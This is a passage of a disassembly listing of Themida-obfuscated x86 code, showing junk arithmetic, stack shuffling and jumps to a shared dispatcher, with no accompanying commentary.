; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558E83:				; CODE XREF: sub_556A70+5B7Bj
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 7BE179CCh
		add	esi, 841E8638h
		jmp	loc_559E03
; ---------------------------------------------------------------------------


loc_558E9C:				; CODE XREF: sub_556A70-5A9Cj
		and	eax, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_55B23A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_558EAC:				; CODE XREF: sub_5566B9-5740j
		pop	esi
		jmp	loc_5516A6
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558EB2:				; CODE XREF: sub_556A70+20F0j
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_552873
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558EBB:				; CODE XREF: Themida_:0055446Dj
		mov	[esp], esp
		jmp	loc_55A4ED
; ---------------------------------------------------------------------------


loc_558EC3:				; CODE XREF: Themida_:005554DDj
		push	3AAh
		jmp	loc_559301
; ---------------------------------------------------------------------------


loc_558ECD:				; CODE XREF: Themida_:00553113j
		mov	eax, [esp]
		push	2F7h
		mov	[esp], ebx
		jmp	loc_556151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_558EDD:				; CODE XREF: sub_5516F8+A935j
		xor	eax, ecx
		jmp	loc_55BFFE
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_558EE4:				; CODE XREF: sub_5566B9-2239j
		add	esp, 4
		mov	ecx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_55A570
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_558EFB:				; CODE XREF: sub_5539DB+6D44j
		and	edx, 594239C7h
		push	39D5h
		jmp	loc_55741D
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------


loc_558F0B:				; CODE XREF: Themida_:0055CCC6j
		push	edi
		jmp	loc_55287A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558F11:				; CODE XREF: sub_556A70-12Aj
		shl	ebx, 4
		xor	ebx, 76536B60h
		sub	ebx, 98B43CFEh
		sub	ebx, esi
		pop	esi
		add	ebx, 398D7F7Ah
		or	ebx, 22D93BC5h
		xor	ebx, 0D144981Dh
		add	eax, ebx
		pop	ebx
		xor	eax, ebp
		jmp	loc_55A8FC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558F3F:				; CODE XREF: Themida_:00555768j
		mov	[esp], edx
		jmp	loc_553BB1
; ---------------------------------------------------------------------------


loc_558F47:				; CODE XREF: Themida_:0055C946j
		add	esp, 4
		jmp	loc_55BEE1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55185F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558F58:				; CODE XREF: sub_556A70+309j
		mov	ebx, 592806C2h
		jmp	loc_552404
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558F62:				; CODE XREF: Themida_:00551D62j
		add	eax, ecx
		jmp	loc_551130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5526D6


loc_558F69:				; CODE XREF: sub_5526D6+A1E1j
		or	ebp, 6EC7760h
		dec	ebp
		push	eax
		mov	eax, 86EE7F5Dh
		sub	ebp, eax
		pop	eax
		add	eax, 124338F4h
		add	eax, ebp
		jmp	loc_552A29
; END OF FUNCTION CHUNK	FOR sub_5526D6
; ---------------------------------------------------------------------------


loc_558F85:				; CODE XREF: Themida_:00550CEFj
		add	esp, 4
		jmp	loc_55ABFD
; ---------------------------------------------------------------------------


loc_558F90:				; CODE XREF: Themida_:00555ED8j
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 0E9A2E80h
		sub	ebp, 0E9A2E7Eh
		jmp	loc_557804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558FB4:				; CODE XREF: sub_556A70+4DB6j
		sub	edx, 19DB11CEh
		jmp	loc_55914B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_558FBF:				; CODE XREF: Themida_:0055129Cj
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 5F3C3D60h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5510F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_558FE0:				; CODE XREF: sub_556A70-3424j
		pop	edx
		xor	[esp-8+arg_8], eax
		jmp	loc_55A2C1
; ---------------------------------------------------------------------------


loc_558FEA:				; CODE XREF: sub_556A70+2CCFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55C1C8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551B42


loc_558FFB:				; CODE XREF: sub_551B42+3972j
		mov	edi, 70AB7854h
		xor	edx, edi
		pop	edi
		push	ebp
		push	edi
		mov	edi, 3C4742Ah
		mov	ebp, edi
		pop	edi
		sub	edx, 1E4B1B91h
		sub	edx, ebp
		add	edx, 1E4B1B91h
		mov	ebp, [esp-8+arg_4]
		jmp	loc_55297C
; END OF FUNCTION CHUNK	FOR sub_551B42
; ---------------------------------------------------------------------------


loc_559023:				; CODE XREF: Themida_:00551048j
		push	2222h
		mov	[esp], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_55B83B
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 52F2h
		mov	[esp], ax
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559051:				; CODE XREF: sub_556A70+489j
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_55760D
; ---------------------------------------------------------------------------


loc_559064:				; CODE XREF: sub_556A70+2D77j
		add	ebp, 4
		xor	ebp, [esp+0]
		jmp	loc_556299
; ---------------------------------------------------------------------------


loc_559072:				; CODE XREF: sub_556A70-1E79j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 21FC43F1h
		jmp	loc_55B257
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 6BCDh
		mov	[esp], ax
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559098:				; CODE XREF: sub_556A70-1F69j
		add	esp, 4
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_554E6D
; ---------------------------------------------------------------------------


loc_5590B5:				; CODE XREF: sub_556A70+575Ej
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5590BA:				; CODE XREF: Themida_:0055CB71j
		mov	edi, [esp]
		add	esp, 4
		pop	eax


loc_5590C4:				; CODE XREF: Themida_:00553527j
		push	eax
		push	7422h
		mov	[esp], esi
		mov	esi, 281979AEh
		jmp	loc_553770
; ---------------------------------------------------------------------------


loc_5590D7:				; CODE XREF: Themida_:00552EBBj
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5559AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5590F6:				; CODE XREF: sub_556A70+47E2j
		mov	[esp+0], ecx
		push	edx
		mov	edx, 0FFFFFFFFh
		push	edx
		jmp	loc_553E9B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559105:				; CODE XREF: Themida_:0055C0EFj
		pop	esp
		push	39EBh
		jmp	loc_55965B
; ---------------------------------------------------------------------------


loc_559110:				; CODE XREF: Themida_:00555339j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55247B
; ---------------------------------------------------------------------------


loc_559126:				; CODE XREF: Themida_:00551E25j
		add	eax, ecx
		pop	ecx
		add	eax, 7B55724Ah
		sub	eax, 77389DF5h
		and	ebx, eax
		pop	eax
		jmp	loc_553CCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_55913B:				; CODE XREF: sub_5539DB+808Fj
		mov	[esp+4+var_4], ebx
		xor	[esp+4+var_4], 2D3A488Eh
		pop	eax
		jmp	loc_55A719
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55914B:				; CODE XREF: sub_556A70+254Aj
		sub	edx, 35F71F73h
		sub	edx, 3C403F75h
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebx
		jmp	loc_554B1F
; ---------------------------------------------------------------------------


loc_559165:				; CODE XREF: sub_556A70+313j
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		jmp	loc_55A678
; ---------------------------------------------------------------------------


loc_559179:				; CODE XREF: sub_556A70-5B5Cj
		xor	edx, 6E9524CEh
		jmp	loc_559A24
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C746


loc_559184:				; CODE XREF: sub_55C746-488j
		mov	[esp+8+var_8], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	edx, [esp-4+arg_0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_557944
; END OF FUNCTION CHUNK	FOR sub_55C746
; ---------------------------------------------------------------------------


loc_5591BC:				; CODE XREF: Themida_:00552370j
		sub	eax, edi
		pop	edi
		and	esi, eax
		jmp	loc_555D41
; ---------------------------------------------------------------------------


loc_5591C6:				; CODE XREF: Themida_:0055168Fj
		push	eax
		jmp	loc_553471
; ---------------------------------------------------------------------------


loc_5591CC:				; CODE XREF: Themida_:005589A1j
		pop	ebx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55835D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_5591E0:				; CODE XREF: sub_5584F8-695Ej
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		push	5DB7h
		mov	[esp+0], edx
		push	ebp
		jmp	loc_55A92B
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_5591F5:				; CODE XREF: Themida_:0055CAE0j
		pop	ebx
		add	esi, 485A043Ah
		add	esi, edi
		sub	esi, 485A043Ah
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_551944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_559213:				; CODE XREF: sub_5584F8+4A6Ej
		add	esp, 4
		jmp	loc_55685D
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_55921B:				; CODE XREF: Themida_:00550EA9j
		add	al, bl
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	5B4Ah
		mov	[esp], edx
		mov	dh, 3Ch
		mov	ch, dh
		jmp	loc_556D1F
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559240:				; CODE XREF: sub_556A70-8F3j
		pop	esp
		or	eax, eax
		jz	loc_55297F
		push	dword ptr [edi+28h]
		jmp	loc_555E1B
; ---------------------------------------------------------------------------


loc_559251:				; CODE XREF: sub_556A70-32B6j
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_55B2DF
; ---------------------------------------------------------------------------


loc_55925A:				; CODE XREF: sub_556A70+20A4j
		pop	[esp-10h+arg_C]
		mov	esp, [esp-14h+arg_10]
		rol	byte ptr [esp-14h+arg_10], cl
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559269:				; CODE XREF: Themida_:0055B6D3j
		mov	cl, bl
		mov	ebx, [esp]
		jmp	loc_555E98
; ---------------------------------------------------------------------------


loc_559273:				; CODE XREF: Themida_:00555BCEj
		add	ecx, ebx
		add	ecx, 44AA27B5h
		pop	ebx
		jmp	loc_554791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559281:				; CODE XREF: sub_556A70-B90j
		sub	al, 6Eh
		pop	dx
		push	small 2CF5h
		mov	word ptr [esp-10h+arg_C], bx
		push	2257h
		jmp	loc_55427B
; ---------------------------------------------------------------------------


loc_559297:				; CODE XREF: sub_556A70-3A65j
		or	edx, 458152A9h
		shl	edx, 2
		sub	edx, 8812F212h
		add	eax, edx
		pop	edx
		mov	ecx, [esp+0]
		push	ecx
		push	esp
		jmp	loc_558231
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5592B3:				; CODE XREF: Themida_:00559612j
		and	eax, 4EF84D38h
		add	eax, 3561797Bh
		add	eax, 88068669h
		add	ecx, eax
		pop	eax
		push	6837h
		mov	[esp], esi
		mov	esi, 2
		add	ecx, esi
		jmp	loc_555FBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5592D9:				; CODE XREF: sub_556A70+BF4j
		add	esp, 4
		add	ebx, 0FFFBDEA3h
		add	ecx, ebx
		jmp	loc_55C694
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5592EC:				; CODE XREF: Themida_:005522E0j
		mov	[esp], ecx
		push	ebx
		mov	ebx, 2C23386Fh
		push	ebx
		mov	ebx, 22010B48h
		push	edi
		jmp	loc_553162
; ---------------------------------------------------------------------------


loc_559301:				; CODE XREF: Themida_:00558EC8j
		mov	[esp], eax
		push	ebp
		push	ebx
		push	7CB470D2h
		jmp	loc_554F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559310:				; CODE XREF: sub_556A70+914j
		sub	al, 23h
		pop	edx
		add	al, bl
		push	edx
		mov	dl, 0CAh
		add	al, dl
		pop	edx
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_551523
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_559335:				; CODE XREF: sub_55A748-793Ej
		mov	bh, 0B2h
		xor	bh, ah
		pop	eax
		push	eax
		push	edx
		mov	dl, bh
		mov	ah, dl
		pop	edx
		mov	dl, ah
		push	[esp+0Ch+var_C]
		jmp	loc_559BE9
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------


loc_55934B:				; CODE XREF: Themida_:005535DBj
		mov	ebx, 44702857h
		neg	ebx
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		xor	ebx, 203E560Ch
		push	eax
		mov	eax, 3937762Dh
		and	ebx, eax
		jmp	loc_55A89B
; ---------------------------------------------------------------------------


loc_55936A:				; CODE XREF: Themida_:005542AFj
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_55396D
; ---------------------------------------------------------------------------


loc_559378:				; CODE XREF: Themida_:00558C81j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5587E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_559384:				; CODE XREF: sub_552B74-7EDj
		add	edi, esi
		jmp	loc_5559CD
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55938B:				; CODE XREF: sub_556A70-13D5j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5537B7
; ---------------------------------------------------------------------------


loc_559398:				; CODE XREF: sub_556A70-2385j
		mov	eax, 12731B4Eh
		add	eax, 39813317h
		neg	eax
		xor	eax, 35915408h
		sub	eax, 0FFFFFFFFh
		xor	eax, 819AE595h
		add	edx, eax
		pop	eax
		inc	edx
		xor	edx, 79504380h
		add	esi, 65D92D42h
		add	esi, edx
		sub	esi, 65D92D42h
		pop	edx
		jmp	sub_551B42
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5593D1:				; CODE XREF: Themida_:00558517j
		mov	[esp], ecx
		push	6F376C6Dh
		pop	ecx
		jmp	loc_55C8A9
; ---------------------------------------------------------------------------


loc_5593DF:				; CODE XREF: Themida_:00558D96j
		sub	al, 0ACh
		push	edx
		mov	dh, 0DBh
		jmp	loc_557DAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5593E9:				; CODE XREF: sub_556A70+A39j
		push	edi
		jmp	loc_55302B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5593EF:				; CODE XREF: Themida_:0055C52Ej
		mov	al, bh
		pop	bx
		not	dl
		xchg	dl, al
		push	0
		sub	byte ptr [esp],	0F2h
		sub	[esp], al
		add	byte ptr [esp],	0F2h
		mov	al, [esp]
		add	esp, 4
		add	al, 0ABh
		jmp	loc_55AAA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553B16


loc_559414:				; CODE XREF: sub_553B16-B55j
		add	edx, 7A523F2Ch
		push	eax
		mov	eax, 1
		add	edx, eax
		jmp	loc_5527FB
; END OF FUNCTION CHUNK	FOR sub_553B16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550BFD


loc_559427:				; CODE XREF: sub_550BFD+5688j
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 3ABC277Bh
		push	ebx
		mov	ebx, 49E421A6h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5598EC
; END OF FUNCTION CHUNK	FOR sub_550BFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55943E:				; CODE XREF: sub_556A70-1CC9j
		add	al, 9
		sub	al, ch
		jmp	loc_5511A5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559447:				; CODE XREF: Themida_:0055A379j
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		jmp	loc_551B2F
; ---------------------------------------------------------------------------


loc_559458:				; CODE XREF: Themida_:00556734j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_559478:				; CODE XREF: Themida_:00553501j
		add	edi, 4
		jmp	loc_5553AB
; ---------------------------------------------------------------------------


loc_559483:				; CODE XREF: Themida_:00555EADj
		xor	dl, 0FBh
		mov	bl, dl
		pop	edx
		sub	bl, 7Dh
		jmp	loc_55198C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559491:				; CODE XREF: sub_556A70+928j
		mov	bh, 92h
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	dl, bh
		mov	ah, dl
		pop	edx
		pop	ebx
		and	ah, 2Eh
		jmp	loc_55C75D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553D0


loc_5594A7:				; CODE XREF: sub_5553D0-4845j
		mov	ah, 0F5h
		not	ah
		neg	ah
		xor	ah, 91h
		jmp	loc_559508
; END OF FUNCTION CHUNK	FOR sub_5553D0
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	433Ch
		jmp	loc_556606
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5594C2:				; CODE XREF: sub_556A70-56Fj
		push	eax
		mov	eax, 7D060D0Ah
		jmp	loc_55A352
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5594CD:				; CODE XREF: Themida_:00551050j
		add	esp, 4
		jmp	loc_5513A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5594D5:				; CODE XREF: sub_556A70+1A75j
		mov	ah, 0C2h
		sub	dl, ah
		jmp	loc_55C929
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553A74


loc_5594DE:				; CODE XREF: sub_553A74-6EAj
		add	ecx, eax
		push	edx
		mov	edx, 3875035Eh
		shr	edx, 3
		neg	edx
		neg	edx
		sub	edx, 0B3F36CB2h
		sub	ecx, edx
		pop	edx
		pop	eax
		push	ecx
		push	[esp-4+arg_4]
		pop	ecx
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_553A74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553D0


loc_559508:				; CODE XREF: sub_5553D0+40E0j
		add	bl, ah
		pop	eax
		jmp	loc_553637
; END OF FUNCTION CHUNK	FOR sub_5553D0
; ---------------------------------------------------------------------------


loc_559510:				; CODE XREF: Themida_:00552184j
		xor	ebx, [esp]
		jmp	loc_55B0E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551E74


loc_559518:				; CODE XREF: sub_551E74+A7ADj
		push	ecx
		jmp	loc_55B409
; END OF FUNCTION CHUNK	FOR sub_551E74
; ---------------------------------------------------------------------------


loc_55951E:				; CODE XREF: Themida_:00557F9Bj
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_559523:				; CODE XREF: Themida_:005565D8j
		sub	ebx, 128D1C07h
		mov	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		jmp	loc_55347B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_550B34
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_558106
; ---------------------------------------------------------------------------


loc_55955E:				; CODE XREF: Themida_:00553CDEj
		xchg	ebp, [esp]
		jmp	loc_555799
; ---------------------------------------------------------------------------


loc_559566:				; CODE XREF: Themida_:00554243j
		xor	[esp], esi
		jmp	loc_5558F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55956E:				; CODE XREF: sub_556A70+325j
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebx
		mov	ebx, 200h
		or	[edi+1Ch], ebx
		push	[esp-8+arg_4]
		jmp	loc_55A69A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		push	edi
		push	esi
		mov	esi, 57865B5h
		mov	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 68E72D2Ch
		jmp	loc_555451
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5595AE:				; CODE XREF: sub_556A70+3E17j
		add	ebx, edi
		sub	ebx, 31921E65h
		pop	edi
		jmp	loc_55B380
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5595BC:				; CODE XREF: Themida_:00553B98j
		mov	esi, 428B28C1h
		inc	esi
		neg	esi
		not	esi
		add	esi, 0BD74D743h
		mov	ebp, esi
		pop	esi
		add	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 4FCD5ADDh
		shr	eax, 7
		push	edi
		mov	edi, 65081A69h
		xor	edi, 441A645Ch
		jmp	loc_551694
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5595EC:				; CODE XREF: sub_556A70-53A3j
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		jmp	loc_551F6E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_559602:				; CODE XREF: sub_5566B9+6351j
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp+10h+var_10]
		jmp	loc_552D9B
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_55960F:				; CODE XREF: Themida_:00558358j
		add	eax, esi
		pop	esi
		jmp	loc_5592B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559617:				; CODE XREF: sub_556A70+639j
		shl	dl, 4
		not	dl
		or	dl, 0CFh
		push	ebx
		mov	bh, 0Bh
		add	dl, bh
		jmp	loc_559A04
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559629:				; CODE XREF: Themida_:0055BCF7j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2C40142Eh
		push	eax
		mov	eax, 0
		sub	eax, ebx
		xchg	eax, ebx
		pop	eax
		neg	ebx
		shr	ebx, 3
		jmp	loc_553B6B
; ---------------------------------------------------------------------------


loc_55965B:				; CODE XREF: Themida_:0055910Bj
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55CA6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559671:				; CODE XREF: sub_556A70-378Fj
		add	esp, 4
		add	ax, dx
		pop	dx
		push	ax
		mov	ax, 4EACh
		sub	bx, ax
		pop	ax
		push	ebp
		push	small 0FBFh
		pop	bp
		and	bp, 32D5h
		add	bp, 29C7h
		shl	bp, 8
		push	ecx
		mov	cx, 6E39h
		dec	cx
		sub	cx, 621Ch
		sub	bp, cx
		pop	ecx
		jmp	loc_5522A7
; ---------------------------------------------------------------------------


loc_5596AE:				; CODE XREF: sub_556A70-2E18j
		sub	eax, edi
		sub	eax, 377C59CAh
		pop	edi
		jmp	loc_554BB1
; ---------------------------------------------------------------------------


loc_5596BB:				; CODE XREF: sub_556A70+8DEj
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		jmp	loc_5530B7
; ---------------------------------------------------------------------------


loc_5596D7:				; CODE XREF: sub_556A70-287Ej
		mov	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 1E9A18E7h
		and	ecx, esi
		jmp	loc_55622C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_5596E7:				; CODE XREF: sub_5584F8+2F67j
		mov	[esp+0], edi
		jmp	loc_55993B
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_5596EF:				; CODE XREF: Themida_:00555B02j
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5596F4:				; CODE XREF: sub_556A70-46C9j
		add	ecx, 4
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_559F14
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_5596FF:				; CODE XREF: sub_552E24+242Cj
		pop	ebx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		jmp	loc_556572
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559719:				; CODE XREF: sub_556A70-3DB7j
		mov	[esp+0], ebx
		push	0F194CF1h
		pop	ebx
		sub	eax, ebx
		jmp	loc_554417
; ---------------------------------------------------------------------------


loc_559729:				; CODE XREF: sub_556A70-1B8Ej
		mov	esi, 0DA110AEh
		sub	eax, esi
		pop	esi
		jmp	loc_55C65A
; ---------------------------------------------------------------------------


loc_559736:				; CODE XREF: sub_556A70-218j
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
